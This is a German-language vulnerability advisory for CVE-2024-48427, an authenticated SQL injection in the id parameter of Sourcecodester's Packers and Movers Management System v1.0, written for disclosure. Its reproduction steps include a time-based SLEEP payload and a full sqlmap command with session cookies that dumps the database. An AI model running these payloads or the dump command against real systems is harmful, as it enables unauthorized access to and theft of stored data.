CVE-2024-48427
Beschreibung
Eine SQL-Injection-Schwachstelle im Sourcecodester Packers and Movers Management System v1.0 ermöglicht es entfernten authentifizierten Benutzern, beliebige SQL-Befehle über den id-Parameter in /mpms/admin/?page=services/manage_service&id auszuführen.
Art der Schwachstelle
SQL Injection
Hersteller des Produkts
Sourcecodester
Betroffene Produktcodebasis:
https://www.sourcecodester.com/php/15360/packers-and-movers-management-system-phpoop-free-source-code.html - 1.0
Betroffene Komponente:
Der id-Parameter von Update Service Details unter /mpms/admin/?page=services/manage_service&id
Angriffsvektoren:
- Richten Sie die Anwendung lokal ein und melden Sie sich mit den angegebenen Standard-Anmeldedaten im Admin-Panel an.
- Navigieren Sie zur verwundbaren Seite: http://localhost/mpms/admin/?page=services/manage_service&id=2
- Fügen Sie SQL-Payload in den id-Parameter ein: http://localhost/mpms/admin/?page=services/manage_service&id=1' OR SLEEP(5)-- puNr
- Beobachten Sie die Anwendungsantwort: Die Seite sollte merklich länger (5 Sekunden) zum Laden brauchen, wenn die Injektion erfolgreich ist, was bestätigt, dass der id-Parameter für SQL-Injection anfällig ist.
- Führen Sie nun das SQLMap-Tool aus, um Datenbankdetails auszulesen:
- sqlmap -u "http://localhost/mpms/admin/?page=services/manage_service&id=1" --cookie="phpMyAdmin=ju34bd3d8q0jdf6td4ntqscaqd;PHPSESSID=eopn8q1p8c1f5m1v5igjoir8k1;" --dbms mysql -p id --risk 3 --level 4 --dbs --dump
Referenzen:
- https://owasp.org/www-community/attacks/SQL_Injection
- https://portswigger.net/web-security/sql-injection